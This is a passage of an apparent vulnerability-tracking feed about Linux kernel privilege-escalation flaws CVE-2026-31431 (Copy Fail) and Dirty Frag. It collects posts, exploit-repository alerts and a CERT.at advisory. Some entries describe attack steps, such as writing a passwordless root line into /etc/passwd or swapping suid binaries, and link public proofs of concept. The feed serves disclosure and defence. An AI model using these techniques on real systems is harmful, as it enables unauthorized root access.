\u9879\u76ee\u540d\u79f0\uff1a Copy-fail-CVE-2026-31431-Exploit-in-C\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Mr-bv\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 07:57:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDiscovery and original disclosure of CVE-2026-31431: Theori / Xint. Public writeup: https://copy.fail/.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T08:00:04.000000Z"}, {"uuid": "0e067d22-0d08-4137-ac8c-b1a3527b8ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/116538184098704690", "content": "variante peu sympa  \ud83d\udc40 \"Unprivileged Linux LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path. Page-cache write into any readable file. Overwrites a nologin line in /etc/passwd with sick::0:0:...:/:/bin/bash and sus into it. Same class as Copy Fail (CVE-2026-31431), different subsystem.\"\u2b07\ufe0f https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo\n#CyberVeille #Linux", "creation_timestamp": "2026-05-08T09:12:49.508433Z"}, {"uuid": "df501d99-32d4-4a91-8432-899efa354b2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ptescalator/718", "content": "Dirty Frag \ud83d\udc27\ud83d\udca5\n\n\u0421\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0448\u0443\u043c\u0435\u0432\u0448\u0435\u0433\u043e Copy.Fail \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c v4bel \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u044f\u0434\u0440\u0435 Linux \u2014 Dirty Frag.\n\n\u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 8 \u043c\u0430\u044f \u0443 Dirty Frag \u043d\u0435\u0442 CVE-\u043d\u043e\u043c\u0435\u0440\u0430 \u0438, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u044f\u0434\u0440\u0430 \u0442\u043e\u0436\u0435 \u043d\u0435\u0442. Dirty Frag \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0443, \u0447\u0442\u043e Dirty Pipe \u0438 Copy.Fail, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c: \u0432\u043c\u0435\u0441\u0442\u043e pipe_buffer \u0430\u0442\u0430\u043a\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 sk_buff.\n\n\u041e\u0431\u0449\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0430\u0434\u0435\u0436\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0438\u0437\u043e\u0439 \u0432 PT Sandbox (Exploit.Linux.CVE-2022-0847.a, Exploit.Linux.CVE-2026-31431.a, Backdoor.Linux.Generic.a) \u2014 \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442? \ud83e\uddd0\n\nDirty Frag \u2014 \u044d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b:\n\n1\ufe0f\u20e3 Page-Cache Write (\u0441 2017 \u0433\u043e\u0434\u0430): \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 4 \u0431\u0430\u0439\u0442 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d, \u0447\u0442\u043e \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Ubuntu) \u043c\u043e\u0436\u0435\u0442 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f AppArmor.\n\n2\ufe0f\u20e3 RxRPC Page-Cache Write (\u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430): \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u0430\u0432 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d, \u043d\u043e \u043c\u043e\u0434\u0443\u043b\u044c rxrpc.ko \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Ubuntu, \u0433\u0434\u0435 \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0432 \u0438\u0445, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442:\n\n\u2022 \u041f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c suid-\u0444\u0430\u0439\u043b\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, /usr/bin/su) \u043d\u0430 \u0441\u0432\u043e\u044e \u0432\u0435\u0440\u0441\u0438\u044e\n\u2022 \u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c /etc/passwd, \u043e\u0447\u0438\u0441\u0442\u0438\u0432 \u043f\u0430\u0440\u043e\u043b\u044c root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\n\n\u041a\u0442\u043e \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439? \u26f3\ufe0f\n\n\u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u044f\u0434\u0440\u043e\u043c Linux, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 \u0441 2017 \u0433\u043e\u0434\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b \u0440\u0430\u0431\u043e\u0442\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445: Ubuntu 24.04.4, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f? \ud83d\udd27\n\n\u0422\u0430\u043a \u043a\u0430\u043a \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u044f\u0434\u0440\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438 \u0432\u044b\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u044f\u0434\u0440\u0430.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f:\n\nsh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true\"\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, AlmaLinux) \u043d\u0430\u0447\u0430\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438, \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u044f\u0441\u044c \u0430\u043f\u0441\u0442\u0440\u0438\u043c\u0430.\n\n#avlab #cve #linux #sandbox\n@ptescalator (X, Max)", "creation_timestamp": "2026-05-08T09:08:22.000000Z"}, {"uuid": "f34800b1-8526-44be-a8bc-6a4496c43b19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://thehackernews.com/2026/05/linux-kernel-dirty-frag-lpe-exploit.html", "content": "Details have emerged about a new, unpatched local privilege escalation (LPE) vulnerability impacting the Linux kernel.\nDubbed Dirty Frag, it has been described as a successor to Copy Fail (CVE-2026-31431, CVSS score: 7.8), a recently disclosed LPE flaw impacting the Linux kernel that has since come under active exploitation in the wild. The vulnerability was reported to Linux kernel maintainers", "creation_timestamp": "2026-05-08T03:12:00.000000Z"}, {"uuid": "20d97009-57a9-43ca-b437-50c61799a76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/morrolinux/a11e43c7ab528b0c93ce2bb35b28bbd9", "content": "", "creation_timestamp": "2026-05-08T10:50:12.000000Z"}, {"uuid": "aab18365-c7bf-414b-8426-92d3e00900b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83333", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a c-copy-fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OpenPixelSystems\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 09:52:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 in C for aarch64 and amd64\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T10:00:04.000000Z"}, {"uuid": "ef3fe5fb-5f3f-460f-87c5-6fa0b532e8b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/anupyadav.bsky.social/post/3mldlykjmrs2n", "content": "Linux Kernel CVE-2026-31431 Explained in Simple Terms\ntechrefreshing.com/linux-kernel...\n#Linux #CyberSecurity #CVE #LinuxKernel #CloudSecurity #DevOps #Kubernetes #InfoSec #SysAdmin #OpenSource", "creation_timestamp": "2026-05-08T11:13:41.557317Z"}, {"uuid": "a0c1f0de-f20d-4816-b821-ce87660a26d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/appricot.bsky.social/post/3mldmdol7j22i", "content": "Ah, ffs! Just the other day CopyFail (CVE-2026-31431), now DirtyFlag .. my life is a chin of Linux patches and kernel module blockings these days ...", "creation_timestamp": "2026-05-08T11:19:52.044429Z"}, {"uuid": "5d540071-6522-49ce-99ca-e839cf700a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://fosstodon.org/users/alpinelinux/statuses/116538695628774725", "content": "2 new vulnerabilities similar to coyfail:\n- CVE-2026-31431 (Dirty Frag)- CVE-2026-43284\nhttps://github.com/V4bel/dirtyfrag\nWe're waiting for a release containing the last one before pushing new kernels to aports.\nhttps://github.com/V4bel/dirtyfrag#cleanup mentions a mitigation in the meantime.", "creation_timestamp": "2026-05-08T11:22:57.254090Z"}, {"uuid": "b6f2d74c-0540-4722-857d-b204c243f01a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/claudesjean.bsky.social/post/3mldocmwky52w", "content": "Copy Fail \u2014 CVE-2026-31431", "creation_timestamp": "2026-05-08T11:55:07.293322Z"}, {"uuid": "388650b8-3f48-47f6-b558-eee3fa5395a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mldqhvck5ls2", "content": "Unpatched Linux Kernel Flaw Dirty Frag Grants Root Access Security researchers have disclosed details of a new local privilege escalation vulnerability in the Linux kernel, designated as an unpatch...\n\n#Security #CVE-2026-31431 #Dirty #Frag #Linux #kernel #privilege #escalation #security [\u2026]", "creation_timestamp": "2026-05-08T12:33:52.141679Z"}, {"uuid": "b7489a5e-1f8c-422d-ac95-e98990f2e20d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/5/linux-lpe-dirty-frag-copy-fail-2", "content": "08. Mai 2026\n\nBeschreibung\n\nAm 7. Mai 2026 wurden zwei neue Schwachstellen im Linux-Kernel öffentlich gemacht, die unter den Namen „Dirty Frag“ und „Copy Fail 2: Electric Boogaloo“ bekannt sind. Beide Schwachstellen ermöglichen lokalen, nicht privilegierten Benutzer:innen eine Eskalation auf root. Sie liegen in den In-Place-Entschlüsselungspfaden der Kernel-Module esp4, esp6 (IPsec/ESP) sowie rxrpc und nutzen Page-Cache-Writeprimitives aus, indem über splice(2), sendfile(2) bzw. MSG_SPLICE_PAGES angehängte, nicht kernelseitig privat gehaltene Seiten direkt überschrieben werden.\n\nFunktionsfähige Proof-of-Concept-Exploits (PoCs) sind öffentlich verfügbar und ermöglichen die Eskalation auf root in einem einzigen Aufruf.\n\nCVE-Nummer(n): CVE-2026-43284 (Dirty Frag), N/A (Copy Fail 2)\n\nCVSS Base Score: noch nicht vergeben\n\nAuswirkungen\n\nLokale, nicht privilegierte Angreifer:innen können durch Ausnutzung der Schwachstellen beliebige Inhalte im Page-Cache des Kernels überschreiben und sich dadurch root-Rechte auf dem betroffenen System verschaffen. Es handelt sich um deterministische Logikfehler ohne Race-Condition; bei einem Fehlschlag tritt keine Kernel-Panik auf, die Erfolgswahrscheinlichkeit wird als hoch beschrieben.\n\nDer xfrm-ESP-Pfad setzt die Möglichkeit zur Erstellung von User-Namespaces voraus. Der RxRPC-Pfad benötigt diese Voraussetzung nicht, ist jedoch nur auf Distributionen ausnutzbar, in denen das Modul rxrpc.ko verfügbar bzw. geladen ist. Durch Verkettung beider Pfade lässt sich auf den meisten gängigen Distributionen root erlangen.\n\nBestehende Gegenmaßnahmen gegen „Copy Fail“ (CVE-2026-31431), insbesondere das Sperren des Moduls algif_aead, schützen NICHT gegen „Dirty Frag“ oder „Copy Fail 2“.\n\nBetroffene Systeme\n\nBetroffen sind die meisten aktuellen Linux-Distributionen mit aktiviertem Page-Cache-Pfad in esp4/esp6 bzw. rxrpc. Die zugrundeliegenden Code-Stellen existieren laut Hersteller- und Forscher:innen-Angaben seit Kernel-Commit cac2661c53f3 (xfrm-ESP, Januar 2017) bzw. 2dc334f1a63a (RxRPC, Juni 2023). Die folgende Aufstellung ist daher nicht abschließend; sie führt nur diejenigen Distributionen auf, deren Hersteller die Betroffenheit bisher öffentlich bestätigt haben oder für die der Forscher die Ausnutzung explizit getestet hat:\n\n\n\nUbuntu 24.04 (vom Forscher getestet auf Kernel 6.17)\n\nRed Hat Enterprise Linux 10.1 (vom Forscher getestet); Red Hat hat in RHSB-2026-003 die Betroffenheit zudem für Red Hat OpenShift Container Platform 4 bestätigt\n\nCentOS Stream 10\n\nAlmaLinux 8, 9 und 10 (gepatcht in kernel-4.18.0-553.123.2.el8_10, kernel-5.14.0-611.54.3.el9_7 bzw. kernel-6.12.0-124.55.2.el10_1 und neuer)\n\nFedora 44\n\nopenSUSE Tumbleweed\n\nCloudLinux 7h, 8, 9 und 10 (CloudLinux 7 wird vom Hersteller noch untersucht)\n\nBlueOnyx 5210R, 5211R, 5212R\n\n\nAmazon Linux untersucht laut Sicherheitsbulletin 2026-027-AWS aktuell den genauen Umfang der betroffenen Versionen.\n\nDistributionen, die unprivilegierte User-Namespaces standardmäßig blockieren (z. B. Ubuntu via AppArmor in bestimmten Konfigurationen), sind über den xfrm-ESP-Pfad nicht angreifbar, bleiben aber über den RxRPC-Pfad anfällig, sofern das Modul vorhanden ist.\n\nAbhilfe\n\nZum Zeitpunkt der Veröffentlichung dieser Warnung liegen für die meisten Distributionen noch keine vollständig gepatchten Kernel vor. Der Upstream-Fix für den ESP-Pfad wurde am 7. Mai 2026 in den netdev-Tree aufgenommen (Commit f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4); der RxRPC-Fix ist noch nicht gemergt. Einzelne Distributionen (u. a. AlmaLinux, CloudLinux) haben gepatchte Kernel bzw. KernelCare-Livepatches in Vorbereitung oder bereits in Test bzw. Auslieferung.\n\nCERT.at empfiehlt, die folgenden Maßnahmen umzusetzen:\n\n\n\nSicherheitsaktualisierungen der jeweiligen Distribution einspielen, sobald diese verfügbar sind, und das System neu starten.\n\nBis zur Verfügbarkeit gepatchter Kernel die betroffenen Kernel-Module sperren, sofern sie nicht produktiv benötigt werden. Die Module esp4 und esp6 werden für IPsec-Tunnel (z. B. strongSwan, Libreswan) verwendet; rxrpc wird nahezu ausschließlich von AFS-Clients genutzt. Auf Systemen, die diese Funktionen nicht einsetzen, kann das Sperren der Module ohne Funktionsverlust erfolgen, beispielsweise durch Eintragen entsprechender Regeln in /etc/modprobe.d/ und Entladen aktuell geladener Module.\n\nAuf Hosts, die IPsec-Tunnel terminieren oder weiterleiten, dürfen die Module esp4/esp6 nicht gesperrt werden. In diesem Fall ist die Installation eines gepatchten Kernels bzw. eines Livepatches abzuwarten.\n\n\nMehrschichtige Mitigationen (Modul-Blacklist über modprobe.d sowie zusätzlich modprobe.blacklist=... als Kernel-Parameter) erhöhen die Wirksamkeit, insbesondere gegen ein automatisches Nachladen über Netlink aus User-Namespaces heraus.\n\nHinweis\n\nGenerell empfiehlt CERT.at, sämtliche Software aktuell zu halten und dabei insbesondere auf automatische Updates zu setzen. Regelmäßige Neustarts stellen sicher, dass diese auch zeitnah aktiviert werden.\n\n\n\nInformationsquelle(n):\n\nDirty Frag - Disclosure und PoC durch Hyunwoo Kim (Englisch)https://github.com/V4bel/dirtyfrag\n\nGreg Kroah-Hartman zur CVE-Vergabe auf der oss-security-Mailingliste (Englisch)https://seclists.org/oss-sec/2026/q2/441\n\nCopy Fail 2: Electric Boogaloo - Write-up und PoC (Englisch)https://afflicted.sh/blog/posts/copy-fail-2.html\n\nAlmaLinux: Dirty Frag vulnerability fix is ready for testing (Englisch)https://almalinux.org/blog/2026-05-07-dirty-frag/\n\nCloudLinux: Dirty Frag - Mitigation and Kernel Update (Englisch)https://blog.cloudlinux.com/dirty-frag-mitigation-and-kernel-update\n\nRed Hat: How to mitigate the „Dirty Frag“ vulnerability in OpenShift 4 (RHSB-2026-003) (Englisch)https://access.redhat.com/solutions/7142250\n\nRed Hat Security Bulletin RHSB-2026-003 (Englisch)https://access.redhat.com/security/vulnerabilities/RHSB-2026-003\n\nAmazon: Dirty Frag and other issues in Amazon Linux kernels (Englisch)https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/\n\nBlueOnyx: Security Advisory: Dirty Frag & Copy Fail 2 - Two New Linux LCE Vulnerabilities (Englisch)https://www.blueonyx.it/news/sec-adv-dirtyfrag-copyfail2.html\n\nUpstream-Fix für den ESP-Pfad (netdev/net.git) (Englisch)https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4", "creation_timestamp": "2026-05-08T09:29:25.000000Z"}, {"uuid": "01d37344-5f7c-4f1a-9afc-28b18d963bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rspinternetgroup.bsky.social/post/3mldsc7v6xs2z", "content": "\u3010\u304a\u77e5\u3089\u305b\u3011[RisuPu] Linux\u74b0\u5883\u306b\u304a\u3051\u308b\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\uff08CVE-2026-31431\uff09\u306b\u95a2\u3059\u308b\u3054\u6848\u5185\nrspig.jp/notice/annou...", "creation_timestamp": "2026-05-08T13:06:26.017936Z"}, {"uuid": "62b3883a-9b5f-462e-90d0-8be58104b6a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://nsm.no/fagomrader/digital-sikkerhet/nasjonalt-cybersikkerhetssenter/varsler-fra-nsm/ny-alvorlig-sarbarhet-i-linux", "content": "", "creation_timestamp": "2026-05-08T04:06:44.000000Z"}, {"uuid": "5e29fe1d-8ede-4362-acdf-ab5534ff4eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/O_e3myBcoh_AaGdxUcA5YqeGGADBaBeF3XGiX3aOj54Bo8U", "content": "", "creation_timestamp": "2026-05-07T15:00:07.000000Z"}, {"uuid": "4b935acf-c43e-4cff-b133-c27641ce11f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ciq.com/post/3mldvan4kqf26", "content": "Copy Fail patches are available now for every supported Rocky Linux variant from CIQ!\n\nCVE-2026-31431 had a public exploit in circulation within days -- patched kernels across LTS, FIPS, and current variants shipped within the week.\n\nFull response: bit.ly/4u0HhGw #LinuxSecurity #RockyLinux", "creation_timestamp": "2026-05-08T13:59:13.313490Z"}, {"uuid": "620f614a-3c62-427f-9c98-e4dd5e9e1f4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/xvoYgOFnUf5jFw65_bW2FC7fcn6orx4l4LTjm0d68ZkOEzo", "content": "", "creation_timestamp": "2026-05-08T03:00:06.000000Z"}, {"uuid": "dc871074-a71c-4ea0-ad80-dbca5d32c26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/vzTACITSxs978bepVF2fAbJ-LA46ia7V8AwPJb289jK3goA", "content": "", "creation_timestamp": "2026-05-07T21:00:05.000000Z"}, {"uuid": "9844571c-29e9-4961-a69b-75b46bf8b31f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ejAET7Wd0n1V5uqKctP5d-vJmqb8O4j5F4lTKyPXLyKbJrU", "content": "", "creation_timestamp": "2026-05-06T03:00:05.000000Z"}, {"uuid": "770724a6-f5f6-4ada-ac80-f7210db2b4cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/yfj8_Wf1r81ZM9XH5mmBYiYd4G1zdIl6xbgawa_XXGScCdQ", "content": "", "creation_timestamp": "2026-05-05T21:00:04.000000Z"}, {"uuid": "20e7285f-f711-4c1a-abd8-5cf720369133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 